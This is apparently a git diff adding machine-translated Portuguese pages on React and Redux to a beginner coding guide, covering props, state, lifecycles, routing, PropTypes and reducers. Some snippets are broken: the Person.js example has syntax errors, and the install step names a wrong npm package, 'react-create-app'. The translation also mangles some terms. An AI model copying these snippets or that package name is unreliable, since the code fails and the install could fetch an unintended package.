+uma. `componentWillRecieveProps()`
+
+b. `shouldComponentUpdate()`
+
+c. `componentWillUpdate()`
+
+d. `render()`
+
+e. `componentDidUpdate()`
+
+## Desmontando:
+
+uma. `componentWillUnmount()`
+
+## Alguns fatos interessantes para notar:
+
+*   `constructor` , `componentWillMount` , `componentDidMount` e `componentWillUnmount` serão chamados apenas uma vez durante o ciclo de vida de um componente.
+*   `componentWillUpdate` e `componentDidUpdate` só serão executados se e somente se `shouldComponentUpdate` retornar true.
+*   `componentWillUnmount()` será chamado pouco antes de desmontar qualquer componente e, portanto, pode ser usado para liberar a memória usada, fechar quaisquer conexões com o banco de dados, etc.
+
+Muitas coisas podem ser aprendidas mergulhando na codificação. Então, sujem suas mãos codificando.
+
+Nota:
+
+> "Os avisos de descontinuação serão ativados com uma versão 16.x futura, **mas os ciclos de vida herdados continuarão funcionando até a versão 17.** " 1
+> 
+> "Mesmo na versão 17, ainda será possível usá-los, mas eles serão aliados com um prefixo" UNSAFE\_ "para indicar que podem causar problemas. Também preparamos um [script automatizado para renomeá-los](https://github.com/reactjs/react-codemod#rename-unsafe-lifecycles) no código existente." 1
+
+Em outras palavras, esses métodos de ciclo de vida previos ainda estarão disponíveis como:
+
+*   `UNSAFE_componentWillMount`
+*   `UNSAFE_componentWillReceiveProps`
+*   `UNSAFE_componentWillUpdate`
+
+## Novos métodos de ciclo de vida
+
+Novos métodos de ciclo de vida serão introduzidos no React 17
+
+*   `getDerivedStateFromProps` será uma alternativa mais segura para `componentWillReceiveProps` .
+*   `getSnapshotBeforeUpdate` será adicionado para suportar a leitura segura de propriedades das atualizações do DOM são feitas
+
+Muitas coisas podem ser aprendidas mergulhando na codificação. Então, sujem suas mãos codificando.
+
+### Fontes
+
+1.  [Vaughn, Brian. "Reagir v16.3.0: Novos Ciclos de Vida e API de Contexto". 29 de março de 2018. Acesso em: 22 de maio de 2018.](https://reactjs.org/blog/2018/03/29/react-v-16-3.html)
+
+### Recursos
+
+[Atualização na renderização assíncrona](https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/props/index.md b/client/src/guide/portuguese/react/props/index.md
new file mode 100644
index 0000000000..9c2112a089
--- /dev/null
+++ b/client/src/guide/portuguese/react/props/index.md
@@ -0,0 +1,7 @@
+---
+title: Props
+localeTitle: Adereços
+---
+### Quais são os adereços?
+
+Adereços (abreviação de propriedades) são a data passada no componente. Eles são imutáveis ​​(somente leitura).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/react-props-state/index.md b/client/src/guide/portuguese/react/react-props-state/index.md
new file mode 100644
index 0000000000..f65f83c88e
--- /dev/null
+++ b/client/src/guide/portuguese/react/react-props-state/index.md
@@ -0,0 +1,157 @@
+---
+title: React Props and State
+localeTitle: Reagir Adereços e Estado
+---
+## Adereços e Estado
+
+Existem dois tipos de dados que controlam um componente: props e state. Os acessórios são definidos pelo pai e são fixados durante a vida útil de um componente. Para os dados que vão mudar, temos que usar o estado.
+
+### Adereços
+
+A maioria dos componentes pode ser personalizada com parâmetros diferentes quando são criados. Esses parâmetros de criação são chamados de `props` .
+
+Seus próprios componentes também podem usar adereços. Isso permite criar um único componente que é usado em muitos lugares diferentes do aplicativo, com propriedades ligeiramente diferentes em cada lugar. Consulte `this.props` na sua função de renderização:
+```
+class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ const element = <Welcome name="neel" />; 
+```
+
+A linha `<Welcome name="neel" />` cria um nome de propriedade com o valor `"neel"` .
+
+a propriedade é passada para o componente, semelhante a como um argumento é passado para uma função. Na verdade, poderíamos até mesmo reescrever o componente para ser mais simples:
+```
+function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+```
+
+Podemos tornar a propriedade name opcional, adicionando defaultProps à classe Welcome:
+```
+class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ Welcome.defaultProps = { 
+  name: "world", 
+ }; 
+```
+
+Se Welcome for chamado sem um nome, ele simplesmente renderizará `<h1> Hello world</h1>` .
+
+Então `props` podem vir do pai, ou podem ser definidos pelo próprio componente.
+
+Você costumava poder alterar props com setProps e replaceProps, mas estes foram **preteridos** . Durante o ciclo de vida de um componente, adereços não devem mudar (considerá-los imutáveis).
+
+Uma vez que adereços são passados, e eles não podem mudar, você pode pensar em qualquer componente React que use apenas adereços (e não estado) como “puro”, isto é, ele sempre renderizará a mesma saída dada a mesma entrada. Isso os torna realmente fáceis de testar.
+
+### Estado
+
+Como `props` , o `state` contém informações sobre o componente. No entanto, o tipo de informação e como ela é tratada é diferente.
+
+Por padrão, um componente não possui estado. O componente de `Welcome` acima é stateless:
+```
+function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+```
+
+Quando um componente precisa acompanhar as informações entre renderizações, o próprio componente pode criar, atualizar e usar o estado.
+
+Trabalharemos com um componente bastante simples para ver o `state` funcionando em ação. Temos um botão que registra quantas vezes você clicou nele.
+
+aqui está o código:
+```
+class Button extends React.Component { 
+  constructor() { 
+    super(); 
+    this.state = { 
+      count: 0, 
+    }; 
+  } 
+ 
+  updateCount() { 
+    this.setState((prevState, props) => { 
+      return { count: prevState.count + 1 } 
+    }); 
+  } 
+ 
+  render() { 
+    return (<button 
+              onClick={() => this.updateCount()} 
+            > 
+              Clicked {this.state.count} times 
+            </button>); 
+  } 
+ } 
+```
+
+### estado é criado no componente
+
+Vamos ver o método `constructor` :
+```
+constructor() { 
+  super(); 
+  this.state = { 
+    count: 0, 
+  }; 
+ } 
+```
+
+É aqui que o estado obtém seus dados iniciais. Os dados iniciais podem ser codificados (como acima), mas também podem vir de `props` .
+
+### `state` é mutável
+
+Aqui está o método `updateCount` :
+```
+updateCount() { 
+  this.setState((prevState, props) => { 
+    return { count: prevState.count + 1 } 
+  }); 
+ } 
+```
+
+Alteramos o estado para acompanhar o número total de cliques. O bit importante é setState. Primeiro, observe que o setState tem uma função, porque o setState pode ser executado de forma assíncrona. Ele precisa ter uma função de retorno de chamada em vez de atualizar o estado diretamente. Você pode ver que temos acesso a prevState dentro do callback, isso irá conter o estado anterior, mesmo que o estado já tenha sido atualizado em algum outro lugar.
+
+Reaja vai um passo melhor, setState atualiza o objeto de `state` **e** re-renderiza o componente automagicamente.
+
+### avisos de `state`
+
+> É tentador escrever `this.state.count = this.state.count + 1` .
+
+**Não faça isso. O** React não pode ouvir o estado sendo atualizado dessa maneira, portanto, seu componente não será renderizado novamente. Sempre use `setState` .
+
+Também pode ser tentador escrever algo assim:
+```
+// DO NOT USE 
+ this.setState({ 
+  count: this.state.count + 1 
+ }); 
+```
+
+Embora isso possa parecer razoável, não gera erros, e você pode encontrar exemplos que usam essa sintaxe on-line, está errado. Isso não leva em conta a natureza asrônica que o `setState` pode usar e pode causar erros com dados de estado fora de sincronia.
+
+### Programa Continue !!!
+
+E finalmente, `render`
+```
+render() { 
+  return (<button 
+            onClick={() => this.updateCount()} 
+          > 
+            Clicked {this.state.count} times 
+          </button>); 
+ } 
+```
+
+`onClick={() => this.updateCount()}` significa que quando o botão é clicado, o método updateCount será chamado. Precisamos usar **a função de seta do ES6** para que o updateCount tenha acesso ao estado dessa instância.
+
+O texto renderizado no botão é `Clicked {this.state.count} times` , que usará o que for this.state.count no momento da renderização.
+
+Mais informações sobre: [**React props and state**](https://facebook.github.io/react-vr/docs/components-props-and-state.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/react-router/index.md b/client/src/guide/portuguese/react/react-router/index.md
new file mode 100644
index 0000000000..9fc072db3b
--- /dev/null
+++ b/client/src/guide/portuguese/react/react-router/index.md
@@ -0,0 +1,46 @@
+# localeTitle: undefined
+Rroteador ect para iniciantes
+
+# Instalação
+
+O React Router foi dividido em três pacotes: `react-router` , `react-router-dom` e `react-router-native` .
+
+Você quase nunca precisa instalar diretamente o roteador reage. Esse pacote fornece os principais componentes e funções de roteamento para os aplicativos do React Router. Os outros dois fornecem componentes específicos do ambiente (navegador e reagir-nativo), mas ambos também reexportam todas as exportações do roteador-reagente.
+
+Estamos construindo um site (algo que será executado em navegadores), então vamos instalar o react-router-dom.
+
+`npm install --save react-router-dom`
+
+# O roteador
+
+Ao iniciar um novo projeto, você precisa determinar qual tipo de roteador usar. Para projetos baseados em navegador, existem e componentes. O `<BrowserRouter>` deve ser usado quando você tem um servidor que lida com solicitações dinâmicas (sabe como responder a qualquer URI possível), enquanto o deve ser usado para sites estáticos (onde o servidor só pode responder a solicitações de arquivos que ele conhece).
+
+Normalmente é preferível usar um `<BrowserRouter>` , mas se o seu site estiver hospedado em um servidor que só serve arquivos estáticos, então o `<HashRouter>` é uma boa solução.
+
+Para o nosso projeto, vamos supor que o site será apoiado por um servidor dinâmico, então o nosso componente de roteador de escolha é o `<BrowserRouter>` .
+
+# Declaração de Importação
+
+```javascript
+import { BrowserRouter as Router, Switch, Route, Link } from 'react-router-dom'; 
+```
+
+## IndexRoute e links
+
+Agora, vamos adicionar navegação para nos colocar entre as páginas.
+
+Para fazer isso, estaremos usando o componente `<Link>` . `<Link>` é semelhante ao uso de uma marca de âncora html.
+
+Dos docs:
+
+A principal maneira de permitir que os usuários naveguem pelo seu aplicativo.  irá renderizar uma tag âncora totalmente acessível com a href apropriada. Para fazer isso, vamos primeiro criar um componente Nav. Nosso componente Nav conterá componentes `<Link>` , e ficará assim:
+
+```javascript
+const Nav = () => ( 
+  <div> 
+    <Link to='/'>Home</Link>&nbsp; 
+    <Link to='/address'>Address</Link> 
+  </div> 
+ ) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/render-props-component/index.md b/client/src/guide/portuguese/react/render-props-component/index.md
new file mode 100644
index 0000000000..a2af8811fb
--- /dev/null
+++ b/client/src/guide/portuguese/react/render-props-component/index.md
@@ -0,0 +1,58 @@
+---
+title: Render Props Component
+localeTitle: Componente Adereços de Renderização
+---
+## Componente Adereços de Renderização
+
+Adereços de renderização é um padrão de Reação avançada, mas tão simples!
+
+### Exemplo
+
+Este é um exemplo de como você pode usar prop de renderização para uma funcionalidade de alternância.
+
+```jsx
+import React, { PureComponent } from "react"; 
+ 
+ class Toggle extends PureComponent { 
+  state = { 
+    on: false 
+  }; 
+ 
+  toggle = () => { 
+    this.setState({ 
+      on: !this.state.on 
+    }); 
+  }; 
+ 
+  render() { 
+    const { children } = this.props; 
+    return children({ 
+      on: this.state.on, 
+      toggle: this.toggle 
+    }); 
+  } 
+ } 
+ 
+ export default Toggle; 
+```
+
+Este componente de alternância vai devolvê-lo para crianças `state.on` ea alternância função. Que pode ser usado em seus componentes filhos.
+
+Essa alternância pode ser usada da seguinte maneira:
+
+```jsx
+<Toggle> 
+  {({ on, toggle }) => ( 
+    <Fragment> 
+      <button onClick={toggle}>Show / Hide</button> 
+      {on && <h1>I can be toggled on or off!</h1>} 
+    </Fragment> 
+  )} 
+ </Toggle> 
+```
+
+Como você pode ver, a funcionalidade de alternância pode ser usada pelo seu botão filho para alternar algum conteúdo. se on for true, a tag h1 será renderizada, caso contrário, não.
+
+## Outros recursos
+
+*   [React docs: Render adereços](https://reactjs.org/docs/render-props.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/state-vs-props/index.md b/client/src/guide/portuguese/react/state-vs-props/index.md
new file mode 100644
index 0000000000..1394d20925
--- /dev/null
+++ b/client/src/guide/portuguese/react/state-vs-props/index.md
@@ -0,0 +1,85 @@
+---
+title: State vs Props
+localeTitle: State vs Props
+---
## State vs Props
+
+Quando começamos a trabalhar com os componentes do React, ouvimos frequentemente dois termos. Eles são `state` e `props` . Então, neste artigo, vamos explorar o que são e como eles diferem.
+
+## Estado:
+
+*   Estado é algo que um componente possui. Pertence àquele componente particular onde é definido. Por exemplo, a idade de uma pessoa é um estado dessa pessoa.
+*   Estado é mutável. Mas isso pode ser alterado apenas pelo componente que o possui. Como eu só posso mudar minha idade, ninguém mais.
+*   Você pode alterar um estado usando `this.setState()`
+
+Veja o exemplo abaixo para ter uma ideia do estado:
+
+#### Person.js
+
+```javascript
+  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+      this.state = { 
+        age:0 
+      this.incrementAge = this.incrementAge.bind(this) 
+    } 
+ 
+    incrementAge(){ 
+      this.setState({ 
+        age:this.state.age + 1; 
+      }); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <label>My age is: {this.state.age}</label> 
+          <button onClick={this.incrementAge}>Grow me older !!<button> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+```
+
+No exemplo acima, `age` é o estado do componente `Person` .
+
+## Adereços:
+
+*   Adereços são semelhantes aos argumentos do método. Eles são passados ​​para um componente onde esse componente é usado.
+*   Adereços é imutável. Eles são somente leitura.
+
+Veja o exemplo abaixo para ter uma ideia de Adereços:
+
+#### Person.js
+
+```javascript
+  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    render(){ 
+      return( 
+        <div> 
+          <label>I am a {this.props.character} person.</label> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+ 
+  const person = <Person character = "good"></Person> 
+```
+
+No exemplo acima, `const person = <Person character = "good"></Person>` estamos passando prop `character = "good"` prop para o componente `Person` .
+
+Dá saída como "Eu sou uma boa pessoa", na verdade eu sou.
+
+Há muito mais a aprender sobre Estado e Adereços. Muitas coisas podem ser aprendidas mergulhando na codificação. Então, sujem suas mãos codificando.
+
+Procure-me no [twitter,](https://twitter.com/getifyJr) se necessário.
+
+Codificação Feliz !!!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/state/index.md b/client/src/guide/portuguese/react/state/index.md
new file mode 100644
index 0000000000..a5e6df67d3
--- /dev/null
+++ b/client/src/guide/portuguese/react/state/index.md
@@ -0,0 +1,131 @@
+---
+title: State
+localeTitle: Estado
+---
+# Estado
+
+Estado é o local de origem dos dados.
+
+Devemos sempre tentar tornar nosso estado o mais simples possível e minimizar o número de componentes com estado. Se tivermos, por exemplo, dez componentes que precisam de dados do estado, devemos criar um componente de contêiner que manterá o estado para todos eles.
+
+Estado é basicamente como um objeto global que está disponível em todos os lugares em um componente.
+
+Exemplo de um componente de classe com estado:
+
+```javascript
+import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+ 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.x}</h1> 
+        <h2>{this.state.y}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+```
+
+Outro exemplo:
+
+```javascript
+import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+ 
+  render() { 
+    let x1 = this.state.x; 
+    let y1 = this.state.y; 
+ 
+    return ( 
+      <div> 
+        <h1>{x1}</h1> 
+        <h2>{y1}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+```
+
+## Estado de atualização
+
+Você pode alterar os dados armazenados no estado de seu aplicativo usando o método `setState` em seu componente.
+
+```js
+this.setState({ value: 1 }); 
+```
+
+Tenha em mente que `setState` é assíncrono, portanto, você deve ter cuidado ao usar o estado atual para definir um novo estado. Um bom exemplo disso seria se você quiser incrementar um valor em seu estado.
+
+#### O caminho errado
+
+```js
+this.setState({ value: this.state.value + 1 }); 
+```
+
+Isso pode levar a um comportamento inesperado no seu aplicativo se o código acima for chamado várias vezes no mesmo ciclo de atualização. Para evitar isso, você pode passar uma função de retorno de chamada do atualizador para `setState` vez de um objeto.
+
+#### O caminho certo
+
+```js
+this.setState(prevState => ({ value: prevState.value + 1 })); 
+```
+
+## Estado de atualização
+
+Você pode alterar os dados armazenados no estado de seu aplicativo usando o método `setState` em seu componente.
+
+```js
+this.setState({value: 1}); 
+```
+
+Tenha em mente que `setState` pode ser assíncrono, portanto, você deve ser cuidadoso ao usar o estado atual para definir um novo estado. Um bom exemplo disso seria se você quiser incrementar um valor em seu estado.
+
+##### O caminho errado
+
+```js
+this.setState({value: this.state.value + 1}); 
+```
+
+Isso pode levar a um comportamento inesperado no seu aplicativo se o código acima for chamado várias vezes no mesmo ciclo de atualização. Para evitar isso, você pode passar uma função de retorno de chamada do atualizador para `setState` vez de um objeto.
+
+##### O caminho certo
+
+```js
+this.setState(prevState => ({value: prevState.value + 1})); 
+```
+
+##### A maneira mais limpa
+```
+this.setState(({ value }) => ({ value: value + 1 })); 
+```
+
+Quando apenas um número limitado de campos no objeto de estado é necessário, a destruição de objetos pode ser usada para códigos mais limpos.
+
+### Mais Informações
+
+*   [Reagir - Estado e ciclo de vida](https://reactjs.org/docs/state-and-lifecycle.html)
+*   [Reagir - levantando o estado acima](https://reactjs.org/docs/lifting-state-up.html)
+*   [Reagir Nativo - Estado Acima](https://facebook.github.io/react-native/docs/state.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/what-are-react-props/index.md b/client/src/guide/portuguese/react/what-are-react-props/index.md
new file mode 100644
index 0000000000..bc7b7a8d50
--- /dev/null
+++ b/client/src/guide/portuguese/react/what-are-react-props/index.md
@@ -0,0 +1,125 @@
+---
+title: React TypeChecking with PropTypes
+localeTitle: Tipo de ReaçãoChecendo com PropTypes
+---
## Reagir PropTypes
+
+Estes servem como um método de typechecking à medida que um aplicativo tende a crescer, com isso uma base muito grande de bugs tende a ser corrigida com o uso desse recurso.
+
+## Como obter PropTypes
+
+Começando com o React versão 15.5, esse recurso foi movido para um pacote separado chamado prop-types.
+
+Para usá-lo, é necessário que ele seja adicionado ao projeto como uma dependência, emitindo o seguinte comando em um console.
+
+```sh
+npm install --save prop-types 
+```
+
+Depois disso, toda uma gama de validadores que podem ser usados ​​para garantir que os dados que o desenvolvedor receberá realmente sejam válidos. Quando um valor inválido é fornecido, haverá um aviso aparecendo no console do JavaScript.
+
+Observe que, por motivos de desempenho, os propTypes definidos são verificados apenas no modo de desenvolvimento.
+
+Também, ao contrário do estado do componente, que pode ser manipulado conforme necessário, esses suportes são somente leitura.
+
+Seu valor não pode ser alterado pelo componente.
+
+## Proptypes disponíveis
+
+Abaixo está um exemplo de código com os diferentes validadores fornecidos pelo pacote e como injetá-los no componente.
+
+```javascript
+import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            ... 
+        ); 
+    } 
+ } 
+ 
+ MyComponent.propTypes = { 
+  // A prop that is a specific JS primitive. By default, these 
+  // are all optional. 
+  optionalArray: PropTypes.array, 
+  optionalBool: PropTypes.bool, 
+  optionalFunc: PropTypes.func, 
+  optionalNumber: PropTypes.number, 
+  optionalObject: PropTypes.object, 
+  optionalString: PropTypes.string, 
+  optionalSymbol: PropTypes.symbol, 
+ 
+  // Anything that can be rendered: numbers, strings, elements or an array 
+  // (or fragment) containing these types. 
+  optionalNode: PropTypes.node, 
+ 
+  // A React element as a PropType 
+  optionalElement: PropTypes.element, 
+ 
+  // Declaring that a prop is an instance of a class. This uses 
+  // JS's instanceof operator. 
+  optionalMessage: PropTypes.instanceOf(AnotherComponent), 
+ 
+  // You can ensure that your prop is limited to specific values by treating 
+  // it as an enum. 
+  optionalEnum: PropTypes.oneOf(['News', 'Photos']), 
+ 
+  // An object that could be one of many types 
+  optionalUnion: PropTypes.oneOfType([ 
+    PropTypes.string, 
+    PropTypes.number, 
+    PropTypes.instanceOf(AnotherComponent) 
+  ]), 
+ 
+  // An array of a certain type 
+  optionalArrayOf: PropTypes.arrayOf(PropTypes.number), 
+ 
+  // An object with property values of a certain type 
+  optionalObjectOf: PropTypes.objectOf(PropTypes.number), 
+ 
+  // An object taking on a particular shape 
+  optionalObjectWithShape: PropTypes.shape({ 
+    color: PropTypes.string, 
+    fontSize: PropTypes.number 
+  }), 
+ 
+  // You can chain any of the above with `isRequired` to make sure a warning 
+  // is shown if the prop isn't provided. 
+  requiredFunc: PropTypes.func.isRequired, 
+ 
+  // A value of any data type 
+  requiredAny: PropTypes.any.isRequired, 
+ }; 
+```
+
+## Configurando Valores Padrão
+
+Como parte deste recurso, também é possível definir valores padrão para qualquer componente definido durante o desenvolvimento.
+
+Eles garantem que o propore tenha um valor, mesmo que não especificado pelo componente pai.
+
+O código abaixo ilustra como usar essa funcionalidade.
+
+```javascript
+import React,{Component} from 'react'; 
+ import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            <h3>Hello, {this.props.name}</h3> 
+        ); 
+    } 
+ } 
+ MyComponent.defaultProps = { 
+  name: 'Stranger' 
+ }; 
+```
+
+Para obter mais informações sobre PropTypes e outros documentos no React.
+
+Vá para o [site oficial](https://reactjs.org/) e leia os documentos ou o [Github Repo](https://github.com/facebook/react/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/why-react/index.md b/client/src/guide/portuguese/react/why-react/index.md
new file mode 100644
index 0000000000..0f6448ca2b
--- /dev/null
+++ b/client/src/guide/portuguese/react/why-react/index.md
@@ -0,0 +1,31 @@
+---
+title: Why React
+localeTitle: Por que reagir
+---
+## Por que o React.js?
+
+### Simplicidade
+
+O React.js não é um framework Javascript completo como o Angular.js ou outras estruturas de frontend populares. Em vez disso, o React.js atua como o 'V' no MVC (Model View Controller). É simplesmente um mecanismo de visualização que pode ser incluído e usado com uma infinidade de outras ferramentas para os dados e parte de modelo do MVC (mais popularmente Redux e Node.js).
+
+### atuação
+
+Como o React usa um _DOM virtual_ , ele pode atualizar seletivamente partes da página conforme necessário, em vez de sempre precisar concluir uma recarga de página inteira. Em muitos casos, não atualizar o DOM inteiro economizará consideravelmente no desempenho. Além disso, muitas das funções integradas (como as funções do ciclo de vida) também têm benefícios de desempenho, já que geralmente ajudam a verificar se uma nova renderização é necessária para começar.
+
+### Curva de aprendizado baixa
+
+Dos principais "frameworks" de frontend disponíveis, o React tem uma barreira relativamente baixa à entrada e tem um tempo de aceleração rápido. Além disso, a documentação oficial do React é extremamente clara e fornece muitos exemplos para a maioria dos casos de uso comum.
+
+### Ferramental
+
+As ferramentas e os softwares comumente utilizados com o React são incrivelmente bem mantidos e suportados e fornecem vários caminhos diferentes de práticas recomendadas a seguir ao desenvolver aplicativos da web. Algumas dessas ferramentas incluem Redux, React-router, Thunk e muitas outras. Há também várias ferramentas de desenvolvimento, como uma extensão React e Redux Chrome, que ajuda a depurar seus aplicativos React.
+
+### Apoio, suporte
+
+React é criado e mantido pelo pessoal do Facebook e é usado por indivíduos e empresas em todo o mundo em grande volume. Isso significa que o React está em constante aprimoramento e provavelmente já foi perguntado sobre algum problema que você já tenha recebido no Stack Overflow.
+
+Além do que foi dito acima, podemos usar nosso conhecimento de reação para desenvolver aplicativos nativos móveis usando o reagente nativo e também tomar nosso conhecimento e expandi-lo para VR usando react-vr. Basicamente, aprender reagir nos abre para várias outras oportunidades, como usá-lo para Web, RV, PWA (Progressive Web App) e muitos outros.
+
+#### Mais Informações
+
+Para saber mais sobre por que o React é tão bom, confira o [site oficial](https://reactjs.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/react/your-first-app/index.md b/client/src/guide/portuguese/react/your-first-app/index.md
new file mode 100644
index 0000000000..7e820d30d0
--- /dev/null
+++ b/client/src/guide/portuguese/react/your-first-app/index.md
@@ -0,0 +1,73 @@
+---
+title: Your first React App
+localeTitle: Seu primeiro aplicativo React
+---
+## Seu primeiro aplicativo React
+
+### Instalação
+
+Conforme especificado no artigo anterior (Instalação), execute a ferramenta `Create React App` . Depois de tudo ter terminado, `cd` para a pasta do seu aplicativo e executá `npm start` . Isso iniciará um servidor de desenvolvimento e você está pronto para começar a desenvolver seu aplicativo!
+
+```bash
+npm install -g react-create-app 
+ create-react-app my-first-app 
+ 
+ cd my-first-app 
+ npm start 
+```
+
+### Editando o código
+
+Inicie o seu editor ou IDE de escolha e edite o arquivo `App.js` na pasta `src` . Quando criado com a ferramenta `react-create-app` , já haverá algum código nesse arquivo.
+
+O código consistirá dessas partes:
+
+#### importações
+
+```JavaScript
+import React, { Component } from 'react'; 
+ import logo from './logo.svg'; 
+ import './App.css'; 
+```
+
+Isso é usado pelo [webpack](https://webpack.js.org/) para importar todos os módulos necessários para que seu código possa usá-los. Este código importa 3 módulos: 1) `React` e `Component` , que nos permitem usar Reagir como deveria ser usado. (Com componentes) 2) `logo` , o que nos permite usar `logo.svg` neste arquivo. 3) `./App.css` , que importa a folha de estilo para este arquivo.
+
+#### classes / componentes
+
+```JavaScript
+class App extends Component { 
+  render() { 
+    return ( 
+      <div className="App"> 
+        <header className="App-header"> 
+          <img src={logo} className="App-logo" alt="logo" /> 
+          <h1 className="App-title">Welcome to React</h1> 
+        </header> 
+        <p className="App-intro"> 
+          To get started, edit <code>src/App.js</code> and save to reload. 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+```
+
+O React é uma biblioteca que faz uso dos Componentes, que permitem dividir sua interface do usuário em partes independentes e reutilizáveis ​​e pensar em cada parte isoladamente. Já existe 1 componente criado, o componente `App` . Se você usou a ferramenta `create-react-app` , esse componente é o componente principal do projeto e você deve construir em torno dessa classe central.
+
+Vamos ver os componentes mais detalhados nos próximos capítulos.
+
+#### exportações
+
+Ao criar uma classe no reagir, você deve exportá-los após a declaração, o que permite usar o componente em outro arquivo usando a palavra-chave `import` . Você pode usar o `default` após a palavra-chave `export` para informar ao React que esta é a classe principal desse arquivo.
+
+```JavaScript
+export default App; 
+```
+
+### Veja os resultados!
+
+Quando você iniciar o servidor de desenvolvimento, emitindo o comando `npm start` , poderá visualizar as alterações adicionadas ao seu projeto ao vivo em seu navegador. Depois de emitir o comando, o npm deve abrir um navegador exibindo automaticamente seu aplicativo.
+
+### Fontes
+
+[1\. Reagir documentação](https://reactjs.org/docs/hello-world.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/index.md b/client/src/guide/portuguese/redux/index.md
new file mode 100644
index 0000000000..038a80e924
--- /dev/null
+++ b/client/src/guide/portuguese/redux/index.md
@@ -0,0 +1,99 @@
+---
+title: Redux
+localeTitle: Redux
+---
+## Redux
+
+O Redux é um contêiner de estado previsível para aplicativos JavaScript.
+
+Ele ajuda você a escrever aplicativos que se comportam de maneira consistente, executados em diferentes ambientes (cliente, servidor e nativo) e são fáceis de testar. Além disso, proporciona uma ótima experiência de desenvolvedor, como edição de código ao vivo combinada com um depurador de viagem no tempo.
+
+Princípios Básicos do Redux:
+
+1.  Redux é um contêiner do estado, armazena todo o seu estado em um só lugar
+2.  O estado é somente leitura, a única maneira de alterar o estado é despachar uma ação.
+3.  Estado só pode ser alterado por funções puras ou em outro termo: Redutores. Redux Reducers aceitam o estado anterior e um objeto de ação e retornam o próximo estado.
+
+Em termos práticos, como usamos o Redux exatamente?
+
+### REGRA 1
+
+#### Onde este estado é armazenado? Redux fornece uma função útil chamada
+
+```js
+createStore() 
+```
+
+Onde você cria a loja que armazenará todo o seu estado.
+
+### REGRA 3 (vou mostrar a regra 3 primeiro, pois fará mais sentido)
+
+#### O estado só pode ser alterado por uma função pura, também conhecida como redutor, para criar essa conexão, passaremos nosso redutor para createStore () assim como
+
+```js
+var store = createStore(reducer) 
+```
+
+Fica mais complicado quando você tem mais redutores, mas no centro, a loja agora tem um redutor ligado a ela
+
+### REGRA 2
+
+#### Uma vez que temos uma loja que é criada com store = createStore (redutor). A nova loja que criamos tem um método chamado despacho. Lembre-se na regra 2, a única maneira que podemos mudar o estado é despachar uma ação!
+
+Você pode ver onde isso está indo.
+
+```js
+store.dispatch(action) 
+```
+
+Antes de entrar no que é um redutor e uma ação, acho que mostrar uma implementação muito básica e limitada do createStore () do Redux vai ajudar muito.
+
+```js
+createStore = (reducer) => { 
+    let state; 
+ //dispatch method 
+    dispatch = (action) => { 
+        state = reducer(state, action) 
+    } 
+  return {dispatch} 
+ } 
+```
+
+Veja como passamos em um redutor para createStore e ele se torna definido em nosso método de envio; e quando chamamos o método de despacho, ele recebe uma ação e define um novo estado com base no que o redutor retornará.
+
+## O que é um redutor? O que é uma ação?
+
+Uma ação no nível mais básico é um objeto que possui uma propriedade chamada type. Também pode ter outras propriedades, mas, por simplicidade, só terá tipo.
+
+```js
+var someAction = {type:'doSomething'} 
+```
+
+Um redutor é apenas uma função:
+
+```js
+var reducer = (state, action) => { 
+ 
+    if (action.type === 'doSomething'){ 
+        return changedState; 
+    } else if ( action.type === 'doSomethingElse'){ 
+        return changedState; 
+    } else { 
+        return state 
+    } 
+ } 
+```
+
+A ação que passamos em um redutor determinará como o estado será alterado dependendo do tipo. O Redux se torna mais complicado, mas se você entender esses princípios, você terá mais facilidade em navegar através dos projetos react-redux!
+
+#### Mais Informações:
+
+##### Você realmente precisa do Redux?
+
+[Dan Abramov](https://github.com/gaearon) , criador do Redux, escreveu há algum tempo um ótimo artigo, [You Might Not Need Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367) . Você deve verificar primeiro porque, bem, você pode não precisar.
+
+Para mais informações, acesse [http://redux.js.org/](http://redux.js.org/)
+
+### Recursos
+
+*   [Um curso de Dan Abramov, autor de Redux.](https://egghead.io/courses/getting-started-with-redux)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/reducers/index.md b/client/src/guide/portuguese/redux/reducers/index.md
new file mode 100644
index 0000000000..80ff6f53d5
--- /dev/null
+++ b/client/src/guide/portuguese/redux/reducers/index.md
@@ -0,0 +1,11 @@
+---
